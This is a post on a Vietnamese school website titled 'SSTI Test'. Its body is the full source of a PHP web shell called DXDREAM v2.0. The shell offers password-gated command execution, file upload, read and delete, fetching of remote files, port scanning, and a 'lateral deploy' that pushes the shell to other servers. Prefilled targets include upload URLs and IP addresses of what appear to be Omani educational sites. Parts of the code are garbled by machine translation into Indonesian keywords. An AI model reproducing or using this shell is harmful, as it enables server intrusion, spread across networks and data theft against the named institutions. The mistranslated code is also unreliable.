Điện thoại: 123


SSTI Test

Đăng lúc: 21-07-2026 | Lượt xem: 57

tes

<?php

/*

 * DXDREAM v2.0 — Terminal Web Tingkat Lanjut

 * Pemindahan Lateral Multi-Server & Pengelola File

 * Untuk keperluan pengujian penetrasi resmi

 */

 

$auth_pass = "d1c06e12111b31f5d631d60628131503"; // MD5(dxdream)

$versi = "DXDREAM v2.0";

 

// ========== AUTENTIKASI ==========

session_start();

jika (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {

    jika(isset($_POST['pass']) && md5($_POST['pass']) == $auth_pass) {

        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

    kalau tidak {

        jika(isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) && $_COOKIE[md5($_SERVER['HTTP_HOST'])] == $auth_pass) {

            $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

        kalau tidak {

            login_shell();

            KELUAR;

        }

    }

}

 

Set Kue Kering

jika (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])) {

    setcookie(md5($_SERVER['HTTP_HOST']), $auth_pass, time()+86400*30);

}

 

// ========== FUNGSI ==========

fungsi login_shell() {

    ?>

    <!DOCTYPE html>

    <html>

    <head>

    <meta charset="UTF-8">

    <title>DXDREAM — Secure Access</title>

    <style>

        * { margin:0; padding:0; box-sizing:border-box; }

        body {

            background: #0a0a0f;

            color: #00ff88;

            font-family: 'Courier New', monospace;

            height: 100vh;

            display: flex;

            flex-direction: column;

            justify-content: center;

            align-items: center;

        }

        .container {

            background: #111118;

            border: 1px solid #00ff88;

            border-radius: 12px;

            padding: 40px;

            max-width: 420px;

            width: 90%;

            box-shadow: 0 0 40px rgba(0,255,136,0.15);

        }

        .logo {

            text-align: center;

            font-size: 28px;

            font-weight: bold;

            letter-spacing: 6px;

            color: #00ff88;

            margin-bottom: 5px;

            text-shadow: 0 0 20px rgba(0,255,136,0.5);

        }

        .subtitle {

            text-align: center;

            color: #556;

            font-size: 11px;

            margin-bottom: 30px;

            letter-spacing: 3px;

        }

        .lock-icon { 

            text-align: center; 

            font-size: 40px; 

            margin-bottom: 20px;

            color: #00ff88;

        }

        input[type="password"] {

            width: 100%;

            padding: 14px 18px;

            background: #0d0d15;

            border: 1px solid #2a2a3a;

            border-radius: 8px;

            color: #00ff88;

            font-family: 'Courier New', monospace;

            font-size: 16px;

            outline: none;

            transition: 0.3s;

        }

        input[type="password"]:focus {

            border-color: #00ff88;

            box-shadow: 0 0 15px rgba(0,255,136,0.2);

        }

        input[type="submit"] {

            width: 100%;

            padding: 14px;

            margin-top: 15px;

            background: transparent;

            border: 1px solid #00ff88;

            border-radius: 8px;

            color: #00ff88;

            font-family: 'Courier New', monospace;

            font-size: 14px;

            font-weight: bold;

            letter-spacing: 2px;

            cursor: pointer;

            transition: 0.3s;

        }

        input[type="submit"]:hover {

            background: #00ff88;

            color: #0a0a0f;

        }

        .footer {

            margin-top: 25px;

            text-align: center;

            color: #334;

            font-size: 10px;

            letter-spacing: 1px;

        }

        .error { color: #ff3355; text-align: center; margin-top: 10px; font-size: 12px; }

    </style>

    </head>

    <body>

        <div class="container">

            <div class="lock-icon">◈</div>

            <div class="logo">DXDREAM</div>

            <div class="subtitle">SECURE ACCESS</div>

            <form method="post">

                <input type="password" name="pass" placeholder="Enter Password" autofocus>

                <input type="submit" value="AUTHENTICATE">

            </form>

            <?php if(isset($_POST['pass']) && md5($_POST['pass']) != $auth_pass): ?>

                <div class="error">[!] Invalid Credentials</div>

            <?php endif; ?>

            <div class="footer">© 2026 DXDREAM</div>

        </div>

    </body>

    </html>

    <?php

    exit;

}

 

// ========== EKSEKUSI PERINTAH ==========

function exec_cmd($cmd) {

    $output = '';

    if(function_exists('exec')) {

        exec($cmd, $out, $ret);

        $output = implode("\n", $out);

    } elseif(function_exists('shell_exec')) {

        $output = shell_exec($cmd);

    } elseif(function_exists('system')) {

        ob_start();

        system($cmd, $ret);

        $output = ob_get_clean();

    } elseif(function_exists('passthru')) {

        ob_start();

        passthru($cmd, $ret);

        $output = ob_get_clean();

    } elseif(function_exists('popen')) {

        $h = popen($cmd, 'r');

        if($h) { $output = stream_get_contents($h); pclose($h); }

    } elseif(function_exists('proc_open')) {

        $descriptorspec = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];

        $proc = proc_open($cmd, $descriptorspec, $pipes);

        if(is_resource($proc)) {

            $output = stream_get_contents($pipes[1]);

            fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);

            proc_close($proc);

        }

    } else {

        $output = "[!] No shell execution function available";

    }

    return $output;

}

 

// ========== HANDLE ACTION ==========

$action = $_POST['action'] ?? $_GET['action'] ?? 'terminal';

$result = '';

$cwd = getcwd();

 

// Change directory

if(isset($_POST['chdir'])) {

    chdir($_POST['chdir']);

    $cwd = getcwd();

}

 

// Terminal command

if($action == 'exec' && isset($_POST['cmd'])) {

    $cmd = $_POST['cmd'];

    chdir($_POST['cwd'] ?? $cwd);

    $cwd = getcwd();

    $result = exec_cmd($cmd);

}

 

// Upload file

if($action == 'upload' && isset($_FILES['file'])) {

    $target = $_POST['target_path'] ?? $cwd.'/';

    if(!is_dir($target)) $target = dirname($target).'/';

    $filename = $_FILES['file']['name'];

    $dest = rtrim($target, '/').'/'.$filename;

    if(move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {

        $result = "[+] File uploaded successfully: $dest (".filesize($dest)." bytes)";

    } else {

        $result = "[!] Upload failed. Check permissions.";

    }

}

 

// URL Upload (fetch from remote)

if($action == 'url_upload' && isset($_POST['url'])) {

    $url = $_POST['url'];

    $dest = $_POST['save_path'] ?? $cwd.'/'.basename(parse_url($url, PHP_URL_PATH));

    $content = @file_get_contents($url);

    if($content !== false && file_put_contents($dest, $content)) {

        $result = "[+] Remote file saved: $dest (".strlen($content)." bytes)";

    } else {

        $result = "[!] Failed to fetch/save remote file.";

    }

}

 

// Lateral Movement - scan

if($action == 'scan' && isset($_POST['target'])) {

    $target = $_POST['target'];

    $ports = $_POST['ports'] ?? '21,22,80,443,3306,6379,8080,8443';

    $timeout = $_POST['timeout'] ?? 2;

    $result = "### Port Scan: $target ###\n";

    foreach(explode(',', $ports) as $port) {

        $port = trim($port);

        $fp = @fsockopen($target, $port, $errno, $errstr, $timeout);

        if($fp) {

            $result .= "  [+] PORT $port OPEN\n";

            fclose($fp);

        } else {

            $result .= "  [-] PORT $port closed\n";

        }

    }

    $result .= "### Scan Complete ###";

}

 

// Lateral Movement - curl

if($action == 'lcurl' && isset($_POST['curl_cmd'])) {

    $cmd = $_POST['curl_cmd'];

    $result = exec_cmd($cmd);

}

 

// File manager - browse

if($action == 'browse' && isset($_POST['path'])) {

    $path = $_POST['path'];

    if(is_dir($path)) {

        $files = scandir($path);

        $result = "### Directory: $path ###\n";

        foreach($files as $f) {

            $fp = $path.'/'.$f;

            if(is_dir($fp)) {

                $result .= "  [DIR]  $f\n";

            } else {

                $size = filesize($fp);

                $perms = substr(sprintf('%o', fileperms($fp)), -4);

                $result .= "  [FILE] $f ($size bytes, perms: $perms)\n";

            }

        }

    } else {

        $result = "[!] Not a directory: $path";

    }

}

 

// File manager - read

if($action == 'readfile' && isset($_POST['file'])) {

    $file = $_POST['file'];

    if(file_exists($file) && is_file($file)) {

        $result = file_get_contents($file);

    } else {

        $result = "[!] File not found: $file";

    }

}

 

// File manager - delete

if($action == 'delete' && isset($_POST['file'])) {

    $file = $_POST['file'];

    if(is_file($file)) {

        unlink($file);

        $result = "[+] Deleted: $file";

    } elseif(is_dir($file)) {

        exec_cmd("rm -rf ".escapeshellarg($file));

        $result = "[+] Deleted directory: $file";

    } else {

        $result = "[!] Not found: $file";

    }

}

 

// Lateral movement - deploy webshell to other server

if($action == 'deploy' && isset($_POST['target_url'], $_POST['local_file'])) {

    $target_url = $_POST['target_url'];

    $local_file = $_POST['local_file'];

    $field_name = $_POST['field_name'] ?? 'file';

    

    if(file_exists($local_file)) {

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $target_url);

        curl_setopt($ch, CURLOPT_POST, true);

        curl_setopt($ch, CURLOPT_POSTFIELDS, [

            $field_name => new CURLFile($local_file)

        ]);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        curl_setopt($ch, CURLOPT_TIMEOUT, 30);

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

        $response = curl_exec($ch);

        $info = curl_getinfo($ch);

        curl_close($ch);

        $result = "[+] Deploy to $target_url\n";

        $result .= "    HTTP Status: ".$info['http_code']."\n";

        $result .= "    Response: ".substr($response, 0, 500);

    } else {

        $result = "[!] Local file not found: $local_file";

    }

}

 

// Info server

if($action == 'info') {

    $uname = php_uname();

    $disk_free = disk_free_space('/');

    $disk_total = disk_total_space('/');

    $disk_used = $disk_total - $disk_free;

    $result = "### SYSTEM INFORMATION ###\n";

    $result .= "Hostname: ".gethostname()."\n";

    $result .= "OS: $uname\n";

    $result .= "Server IP: ".($_SERVER['SERVER_ADDR'] ?? 'N/A')."\n";

    $result .= "Client IP: ".$_SERVER['REMOTE_ADDR']."\n";

    $result .= "PHP: ".phpversion()."\n";

    $result .= "Server: ".($_SERVER['SERVER_SOFTWARE'] ?? 'N/A')."\n";

    $result .= "Document Root: ".($_SERVER['DOCUMENT_ROOT'] ?? 'N/A')."\n";

    $result .= "Current Dir: $cwd\n";

    $result .= "User: ".exec_cmd('whoami')."\n";

    $result .= "Uptime: ".exec_cmd('uptime')."\n";

    $result .= "Disk: ".round($disk_used/1024/1024/1024,2)."G / ".round($disk_total/1024/1024/1024,2)."G (".round($disk_free/1024/1024/1024,2)."G free)\n";

    $result .= "Load: ".exec_cmd('cat /proc/loadavg')."\n";

    $result .= "Memory: ".exec_cmd('free -h')."\n";

    $result .= "Network: ".exec_cmd('ip addr show 2>/dev/null || ifconfig')."\n";

    $result .= "DNS: ".exec_cmd('cat /etc/resolv.conf 2>/dev/null')."\n";

    $result .= "Hosts: ".exec_cmd('cat /etc/hosts 2>/dev/null')."\n";

}

?>

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>DXDREAM v2.0 — Advanced Terminal</title>

<style>

* { margin:0; padding:0; box-sizing:border-box; }

body {

    background: #0a0a0f;

    color: #c8d6d0;

    font-family: 'Courier New', 'Consolas', monospace;

    font-size: 13px;

    line-height: 1.6;

}

.terminal-wrapper {

    max-width: 1400px;

    margin: 0 auto;

    padding: 15px;

}

.header {

    background: linear-gradient(135deg, #0d0d15, #111120);

    border: 1px solid #1a2a2a;

    border-radius: 10px 10px 0 0;

    padding: 12px 20px;

    display: flex;

    align-items: center;

    justify-content: space-between;

}

.header .brand {

    color: #00ff88;

    font-weight: bold;

    font-size: 16px;

    letter-spacing: 4px;

    text-shadow: 0 0 15px rgba(0,255,136,0.3);

}

.header .brand span { color: #556; }

.header .stats { color: #556; font-size: 11px; }

.main-grid {

    display: grid;

    grid-template-columns: 220px 1fr 280px;

    gap: 0;

    min-height: 600px;

}

.sidebar {

    background: #0d0d15;

    border: 1px solid #1a2a2a;

    border-top: none;

    border-radius: 0 0 0 10px;

    padding: 12px;

    overflow-y: auto;

}

.sidebar-title {

    color: #00ff88;

    font-size: 10px;

    letter-spacing: 3px;

    text-transform: uppercase;

    border-bottom: 1px solid #1a2a2a;

    padding-bottom: 8px;

    margin-bottom: 10px;

}

.sidebar-menu {

    list-style: none;

}

.sidebar-menu li {

    padding: 7px 10px;

    margin: 2px 0;

    border-radius: 5px;

    cursor: pointer;

    color: #889;

    font-size: 12px;

    transition: 0.2s;

    border-left: 2px solid transparent;

}

.sidebar-menu li:hover {

    background: #151525;

    color: #00ff88;

    border-left-color: #00ff88;

}

.sidebar-menu li.active {

    background: #151525;

    color: #00ff88;

    border-left-color: #00ff88;

}

.sidebar-menu li .icon { margin-right: 8px; }

.terminal-area {

    background: #0a0a10;

    border: 1px solid #1a2a2a;

    border-top: none;

    border-left: none;

    border-right: none;

    display: flex;

    flex-direction: column;

}

.terminal-output {

    flex: 1;

    padding: 15px;

    overflow-y: auto;

    font-family: 'Courier New', monospace;

    font-size: 12px;

    line-height: 1.5;

    white-space: pre-wrap;

    word-break: break-all;

    min-height: 450px;

    max-height: 550px;

}

.terminal-output .prefix { color: #00ff88; font-weight: bold; }

.terminal-output .error { color: #ff3355; }

.terminal-output .info { color: #33aaff; }

.terminal-output .success { color: #00ff88; }

.terminal-output .warning { color: #ffaa00; }

.terminal-input-area {

    border-top: 1px solid #1a2a2a;

    padding: 10px 15px;

    display: flex;

    align-items: center;

    background: #0d0d15;

}

.terminal-input-area .prompt {

    color: #00ff88;

    margin-right: 10px;

    font-size: 13px;

    white-space: nowrap;

}

.terminal-input-area input[type="text"] {

    flex: 1;

    background: transparent;

    border: none;

    color: #c8d6d0;

    font-family: 'Courier New', monospace;

    font-size: 13px;

    outline: none;

}

.terminal-input-area input[type="text"]::placeholder { color: #334; }

.right-panel {

    background: #0d0d15;

    border: 1px solid #1a2a2a;

    border-top: none;

    border-radius: 0 0 10px 0;

    padding: 12px;

    overflow-y: auto;

}

.right-panel .section {

    margin-bottom: 18px;

    padding-bottom: 12px;

    border-bottom: 1px solid #1a2a2a;

}

.right-panel .section:last-child { border-bottom: none; }

.right-panel .section-title {

    color: #00ff88;

    font-size: 10px;

    letter-spacing: 2px;

    text-transform: uppercase;

    margin-bottom: 8px;

}

.right-panel label { display: block; color: #667; font-size: 10px; margin-bottom: 3px; margin-top: 6px; }

.right-panel input, .right-panel select, .right-panel textarea {

    width: 100%;

    background: #111120;

    border: 1px solid #1a2a2a;

    border-radius: 4px;

    color: #c8d6d0;

    font-family: 'Courier New', monospace;

    font-size: 11px;

    padding: 6px 8px;

    outline: none;

}

.right-panel input:focus, .right-panel select:focus, .right-panel textarea:focus {

    border-color: #00ff88;

}

.right-panel button {

    width: 100%;

    padding: 8px;

    margin-top: 6px;

    background: transparent;

    border: 1px solid #00ff88;

    border-radius: 4px;

    color: #00ff88;

    font-family: 'Courier New', monospace;

    font-size: 11px;

    letter-spacing: 1px;

    cursor: pointer;

    transition: 0.3s;

}

.right-panel button:hover {

    background: #00ff88;

    color: #0a0a0f;

}

.right-panel .btn-danger { border-color: #ff3355; color: #ff3355; }

.right-panel .btn-danger:hover { background: #ff3355; color: #0a0a0f; }

.right-panel .btn-warning { border-color: #ffaa00; color: #ffaa00; }

.right-panel .btn-warning:hover { background: #ffaa00; color: #0a0a0f; }

.right-panel .btn-info { border-color: #33aaff; color: #33aaff; }

.right-panel .btn-info:hover { background: #33aaff; color: #0a0a0f; }

.status-bar {

    background: #111120;

    border: 1px solid #1a2a2a;

    border-top: none;

    border-radius: 0 0 10px 10px;

    padding: 8px 15px;

    font-size: 10px;

    color: #556;

    display: flex;

    justify-content: space-between;

}

.status-bar .highlight { color: #00ff88; }

.scrollable { overflow-y: auto; max-height: 400px; }

::-webkit-scrollbar { width: 5px; }

::-webkit-scrollbar-track { background: #0a0a0f; }

::-webkit-scrollbar-thumb { background: #1a2a2a; border-radius: 5px; }

::-webkit-scrollbar-thumb:hover { background: #2a3a3a; }

@media(max-width:900px) {

    .main-grid { grid-template-columns: 1fr; }

    .sidebar, .right-panel { border-radius: 0; }

}

</style>

</head>

<body>

 

<div class="terminal-wrapper">

    <div class="header">

        <div class="brand">◈ DXDREAM <span>|</span> <?= $version ?></div>

        <div class="stats">IP: <?= $_SERVER['SERVER_ADDR'] ?? 'N/A' ?> | CWD: <?= $cwd ?></div>

    </div>

 

    <div class="main-grid">

        <!-- SIDEBAR -->

        <div class="sidebar">

            <div class="sidebar-title">◈ Navigation</div>

            <ul class="sidebar-menu" id="navMenu">

                <li class="active" data-action="terminal"><span class="icon">⧩</span> Terminal</li>

                <li data-action="browse"><span class="icon">⎔</span> File Manager</li>

                <li data-action="upload"><span class="icon">↑</span> Upload File</li>

                <li data-action="url_upload"><span class="icon">↗</span> URL Fetch</li>

                <li data-action="scan"><span class="icon">◎</span> Port Scan</li>

                <li data-action="deploy"><span class="icon">⚡</span> Lateral Deploy</li>

                <li data-action="curl"><span class="icon">↔</span> HTTP Client</li>

                <li data-action="info"><span class="icon">◉</span> System Info</li>

            </ul>

 

            <div class="sidebar-title" style="margin-top:20px;">◈ Quick Links</div>

            <ul class="sidebar-menu">

                <li onclick="quickCmd('curl -s https://api.hackertarget.com/reverseiplookup/?q=134.0.200.180')">⧩ Reverse IP .180</li>

                <li onclick="quickCmd('curl -s https://api.hackertarget.com/reverseiplookup/?q=134.0.200.170')">⧩ Reverse IP .170</li>

                <li onclick="quickCmd('curl -s https://api.hackertarget.com/hostsearch/?q=css.edu.om')">⧩ Subdomain CSS</li>

                <li onclick="quickCmd('curl -s https://api.hackertarget.com/hostsearch/?q=el-css.edu.om')">⧩ Subdomain EL-CSS</li>

            </ul>

        </div>

 

        <!-- TERMINAL -->

        <div class="terminal-area">

            <div class="terminal-output" id="output"><?= htmlspecialchars($result) ?></div>

            <div class="terminal-input-area">

                <span class="prompt">root@dxdream:~$</span>

                <input type="text" id="cmdInput" placeholder="type command here..." autofocus>

            </div>

        </div>

 

        <!-- RIGHT PANEL -->

        <div class="right-panel" id="rightPanel">

            <!-- Terminal options -->

            <div class="section" id="panel-terminal">

                <div class="section-title">◈ Quick Execute</div>

                <button onclick="quickCmd('whoami')">whoami</button>

                <button onclick="quickCmd('id')">id</button>

                <button onclick="quickCmd('uname -a')">uname -a</button>

                <button onclick="quickCmd('pwd')">pwd</button>

                <button onclick="quickCmd('ls -la')">ls -la</button>

                <button onclick="quickCmd('df -h')">df -h</button>

                <button onclick="quickCmd('free -m')">free -m</button>

                <button onclick="quickCmd('netstat -tlnp')">netstat -tlnp</button>

                <button onclick="quickCmd('ps aux')">ps aux</button>

            </div>

 

            <!-- Upload section -->

            <div class="section" id="panel-upload" style="display:none;">

                <div class="section-title">◈ Upload File</div>

                <form method="post" enctype="multipart/form-data" target="uploadFrame" action="">

                    <input type="hidden" name="action" value="upload">

                    <label>Target Path:</label>

                    <input type="text" name="target_path" value="<?= $cwd ?>/">

                    <label>Select File:</label>

                    <input type="file" name="file" style="border:none;padding:3px;font-size:11px;">

                    <button type="submit">↑ Upload</button>

                </form>

                <iframe name="uploadFrame" style="display:none;"></iframe>

            </div>

 

            <!-- URL Upload -->

            <div class="section" id="panel-url_upload" style="display:none;">

                <div class="section-title">◈ URL Fetch</div>

                <form method="post" target="uploadFrame" action="">

                    <input type="hidden" name="action" value="url_upload">

                    <label>Remote URL:</label>

                    <input type="text" name="url" placeholder="https://example.com/shell.php">

                    <label>Save To:</label>

                    <input type="text" name="save_path" value="<?= $cwd ?>/">

                    <button type="submit">↗ Fetch & Save</button>

                </form>

            </div>

 

            <!-- Port Scan -->

            <div class="section" id="panel-scan" style="display:none;">

                <div class="section-title">◈ Port Scanner</div>

                <form method="post">

                    <input type="hidden" name="action" value="scan">

                    <label>Target IP/Host:</label>

                    <input type="text" name="target" value="134.0.200.170" placeholder="IP or hostname">

                    <label>Ports (comma separated):</label>

                    <input type="text" name="ports" value="21,22,80,443,3306,6379,8080,8443">

                    <label>Timeout (seconds):</label>

                    <input type="text" name="timeout" value="2">

                    <button type="submit">◎ Start Scan</button>

                </form>

            </div>

 

            <!-- Deploy section -->

            <div class="section" id="panel-deploy" style="display:none;">

                <div class="section-title">⚡ Lateral Deploy</div>

                <form method="post">

                    <input type="hidden" name="action" value="deploy">

                    <label>Target Upload URL:</label>

                    <input type="text" name="target_url" placeholder="https://target.com/upload.php">

                    <label>Local File to Deploy:</label>

                    <input type="text" name="local_file" value="<?= $cwd ?>/">

                    <label>Form Field Name:</label>

                    <input type="text" name="field_name" value="file">

                    <button type="submit">⚡ Deploy to Target</button>

                </form>

                <div style="margin-top:8px;font-size:10px;color:#667;">

                    <p>Target URLs to try:</p>

                    <button onclick="document.querySelector('[name=target_url]').value='https://admin.el-css.edu.om/template/less/upload.php'" style="font-size:10px;padding:4px;">Upload .php</button>

                    <button onclick="document.querySelector('[name=target_url]').value='https://moodle.css.edu.om/blocks/upload.php'" style="font-size:10px;padding:4px;">Moodle</button>

                </div>

            </div>

 

            <!-- HTTP Client -->

            <div class="section" id="panel-curl" style="display:none;">

                <div class="section-title">↔ HTTP Client</div>

                <form method="post">

                    <input type="hidden" name="action" value="lcurl">

                    <label>curl command:</label>

                    <input type="text" name="curl_cmd" value="curl -s -I https://teacher.el-css.edu.om/">

                    <button type="submit">↔ Execute</button>

                </form>

            </div>

 

            <!-- File browser -->

            <div class="section" id="panel-browse" style="display:none;">

                <div class="section-title">⎔ File Browser</div>

                <form method="post">

                    <input type="hidden" name="action" value="browse">

                    <label>Path:</label>

                    <input type="text" name="path" value="<?= $cwd ?>">

                    <button type="submit">⎔ Browse</button>

                </form>

                <div style="margin-top:8px;font-size:10px;color:#667;">

                    <p>Quick paths:</p>

                    <button onclick="quickBrowse('/var/www/html')" style="font-size:10px;padding:4px;">/var/www/html</button>

                    <button onclick="quickBrowse('/var/www')" style="font-size:10px;padding:4px;">/var/www</button>

                    <button onclick="quickBrowse('/tmp')" style="font-size:10px;padding:4px;">/tmp</button>

                    <button onclick="quickBrowse('/etc')" style="font-size:10px;padding:4px;">/etc</button>

                </div>

            </div>

        </div>

    </div>

 

    <div class="status-bar">

        <span>User: <span class="highlight">root</span> | Server: <span class="highlight"><?= gethostname() ?></span> | CWD: <span class="highlight"><?= $cwd ?></span></span>

        <span>Session: <span class="highlight">DXDREAM</span> | Type 'help' for commands</span>

    </div>

</div>

 

<script>

// Command history

let history = [];

let historyIndex = -1;

const cmdInput = document.getElementById('cmdInput');

const output = document.getElementById('output');

 

// Switch panels

document.querySelectorAll('#navMenu li').forEach(item => {

    item.addEventListener('click', function() {

        document.querySelectorAll('#navMenu li').forEach(i => i.classList.remove('active'));

        this.classList.add('active');

        const action = this.dataset.action;

        document.querySelectorAll('#rightPanel .section').forEach(s => s.style.display = 'none');

        const panel = document.getElementById('panel-' + action);

        if(panel) panel.style.display = 'block';

        cmdInput.focus();

    });

});

 

// Execute command

function executeCommand(cmd) {

    if(!cmd.trim()) return;

    cmdInput.value = '';

    

    // Add to history

    history.push(cmd);

    historyIndex = history.length;

    

    // Handle special commands

    if(cmd.toLowerCase() === 'clear' || cmd.toLowerCase() === 'cls') {

        output.innerHTML = '';

        return;

    }

    if(cmd.toLowerCase() === 'help') {

        showHelp();

        return;

    }

    

    // Send command via fetch

    const formData = new FormData();

    formData.append('action', 'exec');

    formData.append('cmd', cmd);

    formData.append('cwd', '<?= $cwd ?>');

    

    output.innerHTML += '\n<span class="prefix">root@dxdream:~$</span> ' + escapeHtml(cmd) + '\n';

    output.scrollTop = output.scrollHeight;

    

    fetch('', { method: 'POST', body: formData })

        .then(r => r.text())

        .then(html => {

            // Parse response from HTML

            const parser = new DOMParser();

            const doc = parser.parseFromString(html, 'text/html');

            const newOutput = doc.getElementById('output');

            if(newOutput) {

                output.innerHTML = newOutput.innerHTML;

            }

            output.scrollTop = output.scrollHeight;

        });

}

 

// Quick command

function quickCmd(cmd) {

    cmdInput.value = cmd;

    executeCommand(cmd);

}

 

// Quick browse

function quickBrowse(path) {

    const formData = new FormData();

    formData.append('action', 'browse');

    formData.append('path', path);

    

    output.innerHTML += '\n<span class="prefix">root@dxdream:~$</span> browse ' + path + '\n';

    

    fetch('', { method: 'POST', body: formData })

        .then(r => r.text())

        .then(html => {

            const parser = new DOMParser();

            const doc = parser.parseFromString(html, 'text/html');

            const newOutput = doc.getElementById('output');

            if(newOutput) {

                output.innerHTML = newOutput.innerHTML;

            }

            output.scrollTop = output.scrollHeight;

        });

}

 

// Escape HTML

function escapeHtml(text) {

    const div = document.createElement('div');

    div.textContent = text;

    return div.innerHTML;

}

 

// Show help

function showHelp() {

    const help = `

<span class="info">╔══════════════════════════════════════════════╗</span>

<span class="info">║         DXDREAM v2.0 — COMMAND LIST         ║</span>

<span class="info">╚══════════════════════════════════════════════╝</span>

 

<span class="success">Built-in Commands:</span>

  <span class="warning">clear/cls</span>     — Clear terminal screen

  <span class="warning">help</span>         — Show this help

 

<span class="success">Standard Linux Commands:</span>

  <span class="warning">ls -la</span>        — List files

  <span class="warning">cd /path</span>      — Change directory

  <span class="warning">cat file</span>      — View file content

  <span class="warning">pwd</span>          — Print working directory

  <span class="warning">id</span>           — Current user info

  <span class="warning">whoami</span>       — Username

  <span class="warning">uname -a</span>     — System info

 

<span class="success">Lateral Movement:</span>

  <span class="warning">curl -s http://target/</span>  — HTTP request

  <span class="warning">ping -c 2 IP</span>           — Ping target

  <span class="warning">nc -zv IP port</span>         — Check port

 

<span class="success">Reconnaissance:</span>

  Click Quick Links in sidebar for:

  • Reverse IP Lookup (180 / 170)

  • Subdomain enumeration (CSS / EL-CSS)

 

<span class="success">Upload Features (Right Panel):</span>

  • Direct file upload to server

  • URL fetch from remote

  • Lateral deploy to other servers

  • Port scanner

`;

    output.innerHTML += help;

    output.scrollTop = output.scrollHeight;

}

 

// Acara piano

cmdInput.addEventListener('keydown', function(e) {

    jika (e.key === 'Enter') {

        jalankan perintah(nilai ini);

    } else if(e.key === 'ArrowUp') {

        e.preventDefault();

        jika(historyIndex > 0) {

            Indeks sejarah--;

            nilai ini = riwayat[indeks riwayat];

        }

    } else if(e.key === 'ArrowDown') {

        e.preventDefault();

        jika (indeks sejarah < panjang sejarah - 1) {

            historyIndex++;

            nilai ini = riwayat[indeks riwayat];

        kalau tidak {

            Indeks riwayat = panjang riwayat;

            nilai ini = '';

        }

    }

});

 

Fokus otomatis

document.addEventListener('click', function() { cmdInput.focus(); });

 

// Gulir ke bawah saat dimuat

output.scrollTop = output.scrollHeight;

 

// Jika ada hasil awal, pastikan hasil tersebut terlihat

<?php if($result): ?>

output.scrollTop = output.scrollHeight;

<?php endif; ?>

</script>

</body>

</html>

 

 

 

 

 

 

Nguyễn Sơn Đông

Bài viết liên quan


Tuyển sinh

yahoo

Hỗ trợ 1

yahoo

Hỗ trợ 2

  • 02253.544.628
  • 0934509009
  • 02253.544.629
  • 0934279729

Khảo sát

Bạn biết đến trang web thông qua đâu?







Gửi ý kiến

Thống kê truy cập

  • Truy cập: Must See Places In Paris

Liên kết website

Cổng thông tin điện tử sở GD - ĐTMạng giáo dục edu.net